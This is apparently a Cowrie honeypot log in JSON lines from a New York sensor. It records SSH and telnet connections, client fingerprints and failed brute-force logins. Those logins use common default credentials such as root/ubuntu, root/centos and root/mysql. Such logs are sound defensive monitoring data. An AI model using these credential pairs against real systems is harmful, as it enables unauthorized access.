{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:35:59.690909Z","src_ip":"193.24.211.100","session":"b8badaba523b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0079779624939,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:36:23.625068Z","src_ip":"212.55.149.117","session":"039d13215c62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":42340,"dst_ip":"159.203.135.109","dst_port":23,"session":"d44a112463d2","protocol":"telnet","message":"New connection: 111.119.202.27:42340 (159.203.135.109:23) [session: d44a112463d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:36:34.354242Z"}
{"eventid":"cowrie.session.closed","duration":120.0044436454773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:36:56.526911Z","src_ip":"111.119.202.27","session":"7464adaf955e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46388,"dst_ip":"10.17.0.5","dst_port":22,"session":"246ebc1650af","protocol":"ssh","message":"New connection: 103.15.226.202:46388 (10.17.0.5:22) [session: 246ebc1650af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:02.966652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:02.971348Z","src_ip":"103.15.226.202","session":"246ebc1650af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:03.216839Z","src_ip":"103.15.226.202","session":"246ebc1650af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baidu@123","message":"login attempt [root/baidu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:03.965501Z","src_ip":"103.15.226.202","session":"246ebc1650af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:05.212878Z","src_ip":"103.15.226.202","session":"246ebc1650af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27990,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fc9efc9e36a","protocol":"telnet","message":"New connection: 212.55.149.117:27990 (10.17.0.5:23) [session: 4fc9efc9e36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:22.177506Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.15.51.236","src_port":60162,"dst_ip":"159.203.135.109","dst_port":23,"session":"23a686e77d5c","protocol":"telnet","message":"New connection: 1.15.51.236:60162 (159.203.135.109:23) [session: 23a686e77d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:24.477037Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":58112,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e8742199b44","protocol":"ssh","message":"New connection: 2.57.122.210:58112 (10.17.0.5:22) [session: 3e8742199b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:28.904941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:28.914636Z","src_ip":"2.57.122.210","session":"3e8742199b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:29.007502Z","src_ip":"2.57.122.210","session":"3e8742199b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ZXCVASDFQWER2!@#$","message":"login attempt [ubuntu/ZXCVASDFQWER2!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:29.570230Z","src_ip":"2.57.122.210","session":"3e8742199b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:30.684187Z","src_ip":"2.57.122.210","session":"3e8742199b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":44792,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3c2f26fb5f3","protocol":"ssh","message":"New connection: 36.133.184.250:44792 (159.203.135.109:22) [session: b3c2f26fb5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:41.393095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:41.397648Z","src_ip":"36.133.184.250","session":"b3c2f26fb5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:41.644841Z","src_ip":"36.133.184.250","session":"b3c2f26fb5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:42.377523Z","src_ip":"36.133.184.250","session":"b3c2f26fb5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:43.625253Z","src_ip":"36.133.184.250","session":"b3c2f26fb5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":49878,"dst_ip":"159.203.135.109","dst_port":22,"session":"6392ad487f04","protocol":"ssh","message":"New connection: 36.133.184.250:49878 (159.203.135.109:22) [session: 6392ad487f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:43.857638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:43.862477Z","src_ip":"36.133.184.250","session":"6392ad487f04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:44.097206Z","src_ip":"36.133.184.250","session":"6392ad487f04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:44.802294Z","src_ip":"36.133.184.250","session":"6392ad487f04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:46.039970Z","src_ip":"36.133.184.250","session":"6392ad487f04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":54632,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d7753c1eebf","protocol":"ssh","message":"New connection: 36.133.184.250:54632 (159.203.135.109:22) [session: 2d7753c1eebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:46.274799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:46.280040Z","src_ip":"36.133.184.250","session":"2d7753c1eebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:46.524710Z","src_ip":"36.133.184.250","session":"2d7753c1eebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:47.248659Z","src_ip":"36.133.184.250","session":"2d7753c1eebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":35524,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b3bf732d933","protocol":"telnet","message":"New connection: 111.119.202.27:35524 (159.203.135.109:23) [session: 7b3bf732d933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:47.417859Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:48.493036Z","src_ip":"36.133.184.250","session":"2d7753c1eebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":59386,"dst_ip":"159.203.135.109","dst_port":22,"session":"73bcefc5a53a","protocol":"ssh","message":"New connection: 36.133.184.250:59386 (159.203.135.109:22) [session: 73bcefc5a53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:48.737080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:48.742355Z","src_ip":"36.133.184.250","session":"73bcefc5a53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:48.987744Z","src_ip":"36.133.184.250","session":"73bcefc5a53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:49.724265Z","src_ip":"36.133.184.250","session":"73bcefc5a53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":35542,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfad05001fb1","protocol":"telnet","message":"New connection: 111.119.202.27:35542 (159.203.135.109:23) [session: dfad05001fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:49.754829Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":35526,"dst_ip":"159.203.135.109","dst_port":23,"session":"8315a6a35d4a","protocol":"telnet","message":"New connection: 111.119.202.27:35526 (159.203.135.109:23) [session: 8315a6a35d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:50.408248Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:50.970960Z","src_ip":"36.133.184.250","session":"73bcefc5a53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":35720,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c06ab4504bd","protocol":"ssh","message":"New connection: 36.133.184.250:35720 (159.203.135.109:22) [session: 2c06ab4504bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:51.201965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:51.205601Z","src_ip":"36.133.184.250","session":"2c06ab4504bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:51.439873Z","src_ip":"36.133.184.250","session":"2c06ab4504bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:52.143218Z","src_ip":"36.133.184.250","session":"2c06ab4504bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:53.380814Z","src_ip":"36.133.184.250","session":"2c06ab4504bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":40548,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c6229ca4350","protocol":"ssh","message":"New connection: 36.133.184.250:40548 (159.203.135.109:22) [session: 8c6229ca4350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:53.614578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:53.619188Z","src_ip":"36.133.184.250","session":"8c6229ca4350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:53.855800Z","src_ip":"36.133.184.250","session":"8c6229ca4350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:54.565607Z","src_ip":"36.133.184.250","session":"8c6229ca4350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.684166431427002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:55.161071Z","src_ip":"1.15.51.236","session":"23a686e77d5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:55.808925Z","src_ip":"36.133.184.250","session":"8c6229ca4350","protocol":"ssh"}
